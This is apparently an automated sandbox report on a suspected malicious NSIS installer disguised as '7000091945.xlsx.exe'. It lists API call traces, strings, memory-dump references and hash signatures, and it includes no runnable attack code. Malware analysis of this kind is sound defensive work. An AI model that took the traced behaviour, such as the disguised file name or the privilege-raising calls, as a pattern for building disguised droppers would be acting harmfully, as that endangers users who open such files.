Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsf7C24.tmp$C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll
API String ID: 1659193697-2404713881
Opcode ID: 9f91aca178a37e6ed0b54cb78eabbee860e101ef043324f56c33086d30ece071
Instruction ID: 2f8f56cab2ec293de193d712fca88bf9bcdcc229c68306483e13e7e6ef2e3e02
Opcode Fuzzy Hash: 9f91aca178a37e6ed0b54cb78eabbee860e101ef043324f56c33086d30ece071
Instruction Fuzzy Hash: AD11E772A00205ABCB10AFB18F4AAAF77719F44748F25043FE402B71C1EAFD8891565E

Function 00402FB1 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040318F,?,?,00000007,00000009,0000000B), ref: 00402FC4
GetTickCount.KERNEL32 ref: 00402FE2
CreateDialogParamW.USER32(0000006F,00000000,00402F2B,00000000), ref: 00402FFF
ShowWindow.USER32(00000000,00000005,?,00000007,00000009,0000000B), ref: 0040300D

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: e942aba91c3d4d0b77748caef32317d1a3e8dc78421a0242562119172c6ce506
Instruction ID: d33bc14a5fcc1787285ca97da28f022d839d2e13e88132ee71d9f244d0d7cdfd
Opcode Fuzzy Hash: e942aba91c3d4d0b77748caef32317d1a3e8dc78421a0242562119172c6ce506
Instruction Fuzzy Hash: 4AF05E3160AA21ABC6216F10FF0DA8B7B64BB48B41741487AF842B15E9DB740CA1DB9D

Function 004059FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 00405A23
CloseHandle.KERNEL32(?), ref: 00405A30

Strings

Error launching installer, xrefs: 00405A0D

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction ID: 9b609aa4dbda1b40da6c9694c56aee9f908f129f2491f8ac19b90d9f5f8e4f4b
Opcode Fuzzy Hash: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction Fuzzy Hash: 19E0B6B4600209BFEB109FA4EE49F7B7AACEB04708F004565BD50F6191DBB8EC158A7C

Function 00403A4B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75573420,00000000,C:\Users\user\AppData\Local\Temp\,00403A23,00403839,00000007,?,00000007,00000009,0000000B), ref: 00403A65
GlobalFree.KERNEL32(?), ref: 00403A6C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A4B

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction ID: 631b6d606f958dd3b9f901d17eba749f6bbdc97bd5f3e27fdad90cb16f3fbd8e
Opcode Fuzzy Hash: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction Fuzzy Hash: 1CE0EC3261212097C7219F55BE08B6E7768AF48B22F06146AE9C5BB2608B745D424FD8

Function 00405D32 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00403081,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\7000091945.xlsx.exe,C:\Users\user\Desktop\7000091945.xlsx.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405D38
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00403081,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\7000091945.xlsx.exe,C:\Users\user\Desktop\7000091945.xlsx.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405D48

Strings

C:\Users\user\Desktop, xrefs: 00405D32

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
Instruction ID: cdcea1fdb6b733c318131938d2018cbcd3f5257763d90021158e822df2c29c6c
Opcode Fuzzy Hash: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
Instruction Fuzzy Hash: FCD05EB24009209AC3126704DC0999F67A8FF5130078A842BF541AA1A4D7785C818AAC

Function 6FF410E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6FF4116A
GlobalFree.KERNEL32(00000000), ref: 6FF411C7
GlobalFree.KERNEL32(00000000), ref: 6FF411D9
GlobalFree.KERNEL32(?), ref: 6FF41203

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: cac0c61c526f5ef47cd6c06ceaf58fd99222d31e3f5d3b46c761a8532c4c2659
Instruction ID: e1875f5905329ca1e6eb62d673c14b64caa1488bbc2c90aacdbc40e35b9f0f92
Opcode Fuzzy Hash: cac0c61c526f5ef47cd6c06ceaf58fd99222d31e3f5d3b46c761a8532c4c2659
Instruction Fuzzy Hash: 4F31A1B64102069BDB02AF7CC945B667FECEF96320714021AE844D7363E774E9758B60

Function 00405E6C Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E94
CharNextA.USER32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EA5
lstrlenA.KERNEL32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EAE

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction ID: 346f7042b660fb70b52ae74c1c6e121eab6bc84344666f805f11c7930e864ff2
Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction Fuzzy Hash: A8F06231505418FFD7029BA5DE0099FBBA8EF56250B2540AAE880F7250D674EF019BA9

Analysis Process: 7000091945.xlsx.exePID: 8132, Parent PID: 7784COMMON

Non-executed Functions

Function 004034C5 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034E8
GetVersion.KERNEL32 ref: 004034EE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403521
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 0040355E
OleInitialize.OLE32(00000000), ref: 00403565
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 00403581
GetCommandLineW.KERNEL32(00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 00403596
CharNextW.USER32(00000000,00440000,00000020,00440000,00000000,?,00000007,00000009,0000000B), ref: 004035CE

Part of subcall function 00406806: GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
Part of subcall function 00406806: GetProcAddress.KERNEL32(00000000,?), ref: 00406833

GetTempPathW.KERNEL32(00000400,00442800,?,00000007,00000009,0000000B), ref: 00403708
GetWindowsDirectoryW.KERNEL32(00442800,000003FB,?,00000007,00000009,0000000B), ref: 00403719
lstrcatW.KERNEL32(00442800,\Temp,?,00000007,00000009,0000000B), ref: 00403725
GetTempPathW.KERNEL32(000003FC,00442800,00442800,\Temp,?,00000007,00000009,0000000B), ref: 00403739
lstrcatW.KERNEL32(00442800,Low,?,00000007,00000009,0000000B), ref: 00403741
SetEnvironmentVariableW.KERNEL32(TEMP,00442800,00442800,Low,?,00000007,00000009,0000000B), ref: 00403752
SetEnvironmentVariableW.KERNEL32(TMP,00442800,?,00000007,00000009,0000000B), ref: 0040375A
DeleteFileW.KERNEL32(00442000,?,00000007,00000009,0000000B), ref: 0040376E

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

OleUninitialize.OLE32(00000007,?,00000007,00000009,0000000B), ref: 00403839
ExitProcess.KERNEL32 ref: 0040385A
lstrcatW.KERNEL32(00442800,~nsu,00440000,00000000,00000007,?,00000007,00000009,0000000B), ref: 0040386D
lstrcatW.KERNEL32(00442800,0040A26C,00442800,~nsu,00440000,00000000,00000007,?,00000007,00000009,0000000B), ref: 0040387C
lstrcatW.KERNEL32(00442800,.tmp,00442800,~nsu,00440000,00000000,00000007,?,00000007,00000009,0000000B), ref: 00403887
lstrcmpiW.KERNEL32(00442800,00441800,00442800,.tmp,00442800,~nsu,00440000,00000000,00000007,?,00000007,00000009,0000000B), ref: 00403893
SetCurrentDirectoryW.KERNEL32(00442800,00442800,?,00000007,00000009,0000000B), ref: 004038AF
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00436000,00000009,?,00000007,00000009,0000000B), ref: 00403909
CopyFileW.KERNEL32(00443800,0042AA28,?,?,00000007,00000009,0000000B), ref: 0040391D
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000,?,00000007,00000009,0000000B), ref: 0040394A
GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403979
OpenProcessToken.ADVAPI32(00000000), ref: 00403980
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403995
AdjustTokenPrivileges.ADVAPI32 ref: 004039B8
ExitWindowsEx.USER32(00000002,80040002), ref: 004039DD
ExitProcess.KERNEL32 ref: 00403A00

Strings

SeShutdownPrivilege, xrefs: 0040398F
UXTHEME, xrefs: 00403515, 0040351A, 00403520
Error launching installer, xrefs: 004037F0
\Temp, xrefs: 0040371F
~nsu, xrefs: 00403865
TEMP, xrefs: 0040374D
NSIS Error, xrefs: 00403587
.tmp, xrefs: 00403881
Low, xrefs: 0040373B
TMP, xrefs: 00403755

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3195845224
Opcode ID: f9aa3e48403101c5508bb2b69decf857036db8760d6c0613ee29b2d3e2fcc997
Instruction ID: 633452ec6b1f102921f1489b21fe302f429ce1b90f1906ff0e0a9b5b291269fb
Opcode Fuzzy Hash: f9aa3e48403101c5508bb2b69decf857036db8760d6c0613ee29b2d3e2fcc997
Instruction Fuzzy Hash: 7DD12671600311ABE7207F659D45B3B3AACEB8070AF11443FF581B62D1DBBD89518B6E

Function 00405B23 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,75573420,00442800,00000000), ref: 00405B4C
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,75573420,00442800,00000000), ref: 00405B94
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,75573420,00442800,00000000), ref: 00405BB7
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,75573420,00442800,00000000), ref: 00405BBD
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,75573420,00442800,00000000), ref: 00405BCD
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C6D
FindClose.KERNEL32(00000000), ref: 00405C7C

Strings

\*.*, xrefs: 00405B8E

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 912061dd7fb5ba2c7c1f5c86e30a25b85448f8851c49b70d5dd93a38a45adafc
Instruction ID: 64ad53015563eb9bad7c636b6f780160dd5a6986b89d0419f795064a900c36f2
Opcode Fuzzy Hash: 912061dd7fb5ba2c7c1f5c86e30a25b85448f8851c49b70d5dd93a38a45adafc
Instruction Fuzzy Hash: 8941B330804B18AAEB21AB658D89AAF7778EF41714F24417FF802B11D1D77C5E81DE6E

Function 004055B8 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405616
GetDlgItem.USER32(?,000003EE), ref: 00405625
GetClientRect.USER32(?,?), ref: 00405662
GetSystemMetrics.USER32(00000002), ref: 00405669
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040568A
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040569B
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004056AE
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004056BC
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056CF
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056F1
ShowWindow.USER32(?,00000008), ref: 00405705
GetDlgItem.USER32(?,000003EC), ref: 00405726
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405736
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040574F
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040575B
GetDlgItem.USER32(?,000003F8), ref: 00405634

Part of subcall function 0040439C: SendMessageW.USER32(00000028,?,?,004041C7), ref: 004043AA

GetDlgItem.USER32(?,000003EC), ref: 00405778
CreateThread.KERNEL32(00000000,00000000,Function_0000554C,00000000), ref: 00405786
CloseHandle.KERNEL32(00000000), ref: 0040578D
ShowWindow.USER32(00000000), ref: 004057B1
ShowWindow.USER32(?,00000008), ref: 004057B6
ShowWindow.USER32(00000008), ref: 00405800
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405834
CreatePopupMenu.USER32 ref: 00405845
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405859
GetWindowRect.USER32(?,?), ref: 00405879
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405892
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058CA
OpenClipboard.USER32(00000000), ref: 004058DA
EmptyClipboard.USER32 ref: 004058E0
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058EC
GlobalLock.KERNEL32(00000000), ref: 004058F6
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040590A
GlobalUnlock.KERNEL32(00000000), ref: 0040592A
SetClipboardData.USER32(0000000D,00000000), ref: 00405935
CloseClipboard.USER32 ref: 0040593B

Strings

{, xrefs: 0040581E

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: a6eb79d94d5585e354ce7f5624a0be2435d33a16d5952c6d8794959a9532ce52
Instruction ID: ef42e6e7ad26681d1de71b6013131fdd69d98400fc0f56e042e978cac442fd71
Opcode Fuzzy Hash: a6eb79d94d5585e354ce7f5624a0be2435d33a16d5952c6d8794959a9532ce52
Instruction Fuzzy Hash: 45B138B1900608FFDB11AFA0DE85AAE7B79FB44355F00803AFA41B61A0CB755E51DF68

Function 00404DD4 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 490windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DEB
GetDlgItem.USER32(?,00000408), ref: 00404DF8
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E44
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404E5B
SetWindowLongW.USER32(?,000000FC,004053ED), ref: 00404E75
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E89
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404E9D
SendMessageW.USER32(?,00001109,00000002), ref: 00404EB2
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EBE
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404ED0
DeleteObject.GDI32(00000110), ref: 00404ED5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404F00
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404F0C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FA7
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404FD7

Part of subcall function 0040439C: SendMessageW.USER32(00000028,?,?,004041C7), ref: 004043AA

SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FEB
GetWindowLongW.USER32(?,000000F0), ref: 00405019
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405027
ShowWindow.USER32(?,00000005), ref: 00405037
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405138
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040519A
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004051AF
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051D3
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051F6
ImageList_Destroy.COMCTL32(?), ref: 0040520B
GlobalFree.KERNEL32(?), ref: 0040521B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405294
SendMessageW.USER32(?,00001102,?,?), ref: 0040533D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040534C
InvalidateRect.USER32(?,00000000,?), ref: 00405376
ShowWindow.USER32(?,00000000), ref: 004053C4
GetDlgItem.USER32(?,000003FE), ref: 004053CF
ShowWindow.USER32(00000000), ref: 004053D6

Strings

N, xrefs: 00405073
M, xrefs: 00404F8F
, xrefs: 004053AE

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1856811440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856844400.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856859746.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1856885785.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: eda24d9e563f14e56c6da67046dad0d9d72a11225f231514b8bed0d83fcccfef
Instruction ID: d580a4fcaa5169941c29ca465f5867fc490570c71858173d192e260bc12e7e27
Opcode Fuzzy Hash: eda24d9e563f14e56c6da67046dad0d9d72a11225f231514b8bed0d83fcccfef
Instruction Fuzzy Hash: 9C127A70D00609EFDB20DFA5CD45AAEBBB5FB84314F10817AEA10BA2E1C7798941DF58

Function 00403E8E Relevance: 48.3, APIs: 32, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403ECA
ShowWindow.USER32(?), ref: 00403EE7
DestroyWindow.USER32 ref: 00403EFB
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F17
GetDlgItem.USER32(?,?), ref: 00403F38
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F4C
IsWindowEnabled.USER32(00000000), ref: 00403F53
GetDlgItem.USER32(?,?), ref: 00404001
GetDlgItem.USER32(?,00000002), ref: 0040400B
SetClassLongW.USER32(?,000000F2,?), ref: 00404025
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00404076
GetDlgItem.USER32(?,00000003), ref: 0040411C
ShowWindow.USER32(00000000,?), ref: 0040413D
EnableWindow.USER32(?,?), ref: 0040414F
EnableWindow.USER32(?,?), ref: 0040416A
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404180
EnableMenuItem.USER32(00000000), ref: 00404187
SendMessageW.USER32(?,000000F4,00000000,?), ref: 0040419F
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041B2
lstrlenW.KERNEL32(0042D268,?,0042D268,00000000), ref: 004041DC
SetWindowTextW.USER32(?,0042D268), ref: 004041F0
ShowWindow.USER32(?,0000000A), ref: 00404324

Memory Dump Source

Source File: 00000003.00000002.1856827185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

